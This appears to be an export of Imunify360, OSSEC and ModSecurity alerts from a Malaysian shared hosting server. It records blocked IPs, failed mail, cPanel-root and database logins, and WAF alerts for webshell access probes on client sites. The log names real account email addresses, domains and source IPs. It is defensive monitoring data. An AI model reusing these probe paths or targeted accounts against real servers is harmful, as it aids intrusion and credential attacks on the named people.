name: Imunify PAM. The IP has been locked by RBL
abuser: 111.75.243.5
country_id: 1814991
description:
Jan 15 20:30:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.75.243.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.75.243.5
country_id: 1814991
description:
2026-01-15 20:30:41 dovecot_login authenticator failed for H=([111.75.243.5]) [111.75.243.5]:53188: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.110.119.157
country_id: 732800
description:
Jan 15 20:31:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.110.119.157 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.140.17.52
country_id: 2017370
description:
2026-01-15 20:31:50 124467 [Warning] Aborted connection 124467 to db: 'unconnected' user: 'unauthenticated' host: '45.140.17.52' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.110.119.157
country_id: 732800
description:
Jan 15 20:31:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.110.119.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.176.19
country_id: 1269750
description:
Jan 15 20:31:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.176.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.155.37.15
country_id: 953987
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/markbaker/matrix/classes/src/Operators HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.43.123.248
country_id: 357994
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/markbaker/matrix/classes/src/Operators/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.231
country_id: 2510769
description:
Jan 15 20:33:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.231
country_id: 2510769
description:
Jan 15 20:33:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.225
country_id: 953987
description:
Jan 15 20:34:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.225
country_id: 953987
description:
Jan 15 20:34:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.173
country_id: 3175395
description:
Jan 15 20:34:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.52.13
country_id: 2963597
description:
Jan 15 20:35:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.52.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.52.13
country_id: 2963597
description:
Jan 15 20:35:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.52.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.20
country_id: 2750405
description:
Jan 15 20:35:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.163.245
description:
2026-01-15 20:37:24 H=([64.89.163.245]) [64.89.163.245]:55552 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<busan@ecck.or.kr> rejected RCPT <mustapa@astlog.com.my>: SPF: 64.89.163.245 is not allowed to send mail from ecck.or.kr


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.212.90
country_id: 6252001
description:
[2026-01-15 20:38:30 +0800] info [whostmgrd] 172.58.212.90 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.64.221.7
country_id: 2363686
description:
2026-01-15 20:39:13 H=([102.64.221.7]) [102.64.221.7]:3550 F=<JohnBlue@hola.com> rejected RCPT <yuankhai.chong@tujusetia.my>: No such person at this address."


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.97.131
country_id: 6290252
description:
Jan 15 20:42:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.97.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.12
country_id: 241170
description:
Jan 15 20:42:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.16.179
country_id: 2300660
description:
Jan 15 20:42:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.16.179 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 20:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57121: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 20:44:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57122: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 20:44:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.200.26.39
country_id: 3175395
description:
Jan 15 20:46:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.200.26.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 20:49:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-15 20:50:10 H=([178.16.53.2]) [178.16.53.2]:60145 F=<info@valet.it> rejected RCPT <mustapa@astlog.com.my>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.141
country_id: 3865483
description:
Jan 15 20:51:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.141 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/images/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.20.122.175
country_id: 2510769
description:
Jan 15 20:54:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.20.122.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.26.118
country_id: 1269750
description:
Jan 15 20:56:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.26.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.20
country_id: 3175395
description:
Jan 15 20:56:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.92.139.163
country_id: 690791
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/facilities.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.223
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/css-hamburgers/hamburgers.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.197
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/animsition/animsition.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.251
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/font-awesome-5/css/fontawesome-all.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.182
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/animate.css/animate.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.133
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/fonts/poppins/poppins-v5-latin-300.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.225
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/fonts/poppins/poppins-v5-latin-700.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.26.118
country_id: 1269750
description:
Jan 15 20:56:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.26.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.20
country_id: 3175395
description:
Jan 15 20:56:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.252
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/mdi-font/css/material-design-iconic-font.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.237
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/fonts/poppins/poppins-v5-latin-regular.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.98.99.118
country_id: 3077311
description:
Jan 15 20:56:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.98.99.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.159
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/themify-font/themify-icons.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.148
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/slick/slick.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/css/poppins-font.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.206
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/select2/select2.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/bootstrap-4.1/bootstrap.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.160
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/vendor/mdi-font/fonts/Material-Design-Iconic-Fontd1f1.woff2?v=2.2.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.61.142.172
country_id: 2510769
description:
Jan 15 20:56:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.61.142.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.136
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/css/main.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/fonts/poppins/poppins-v5-latin-900.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.107.244.41
country_id: 3469034
description:
[2026-01-15 20:58:08 +0800] info [whostmgrd] 179.107.244.41 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.175.38
country_id: 3923057
description:
2026-01-15 20:58:53 H=([181.115.175.38]) [181.115.175.38]:10987 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.32.86.108
country_id: 2017370
description:
[2026-01-15 20:59:08 +0800] info [whostmgrd] 46.32.86.108 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.12
country_id: 241170
description:
Jan 15 20:59:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.165.67.232
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/about.asp HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.154.232.169
country_id: 1168579
description:
2026-01-15 21:02:19 H=([119.154.232.169]) [119.154.232.169]:19221 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.0.83.168
country_id: 1562822
description:
Jan 15 21:04:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.0.83.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.0.83.168
country_id: 1562822
description:
2026-01-15 21:04:36 dovecot_login authenticator failed for H=([127.0.0.1]) [117.0.83.168]:40548: 535 Incorrect authentication data (set_id=kumara.rao@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.175.38
country_id: 3923057
description:
2026-01-15 21:04:59 H=([181.115.175.38]) [181.115.175.38]:11490 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.243.119
country_id: 6252001
description:
2026-01-15 21:05:58 H=([91.92.243.119]) [91.92.243.119]:63748 F=<elena.carrillo@ibccorporativoaduanal.mx> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.129.236.174
country_id: 1814991
description:
2026-01-15 21:06:54 dovecot_login authenticator failed for H=([219.129.236.174]) [219.129.236.174]:34731: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.154.232.169
country_id: 1168579
description:
2026-01-15 21:06:36 H=([119.154.232.169]) [119.154.232.169]:19434 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.129.236.174
country_id: 1814991
description:
Jan 15 21:06:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.129.236.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.94.125.250
country_id: 2017370
description:
Jan 15 21:07:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.94.125.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.94.125.250
country_id: 2017370
description:
2026-01-15 21:07:46 dovecot_login authenticator failed for H=h77-94-125-250.static.bashtel.ru [77.94.125.250]:53260: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.52
country_id: 798544
description:
Jan 15 21:07:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.13
country_id: 798544
description:
Jan 15 21:08:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.232.164.40
country_id: 798544
description:
Jan 15 21:08:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.232.164.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.129.28
country_id: 99237
description:
Jan 15 21:08:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.129.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.129.28
country_id: 99237
description:
2026-01-15 21:08:32 dovecot_plain authenticator failed for H=(steting) [65.20.129.28]:53809: 535 Incorrect authentication data (set_id=info@tst-ma.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.255.0.22
country_id: 3469034
description:
Jan 15 21:08:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.255.0.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.13
country_id: 798544
description:
Jan 15 21:09:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 21:12:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57137: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/images/sliders/index.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 15 21:12:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 21:12:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57138: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.158
country_id: 2750405
description:
2026-01-15 21:12:16 126061 [Warning] Aborted connection 126061 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.158' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.45.46.101
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/always/478/245435 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.12.134.229
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=671968 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.0.26
country_id: 1168579
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/gallery2.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.203.254.46
country_id: 2464461
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/gallery1.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.36.165.23
country_id: 286963
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/gallery4.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.121.143
country_id: 3658394
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/twocol3.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.140.150.149
country_id: 1168579
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.35.22.54
country_id: 2017370
description:
2026-01-15 21:14:27 dovecot_login authenticator failed for H=([127.0.0.1]) [77.35.22.54]:55965: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.233.176.140
country_id: 3932488
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/hom4.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 132.255.8.213
country_id: 3865483
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/twocol4.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.219.196.36
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/hom1.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.211.214.93
country_id: 1733045
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/hom2.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.26.122.240
country_id: 1562822
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/gallery3.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.47.47.62
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/hom3.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.35.22.54
country_id: 2017370
description:
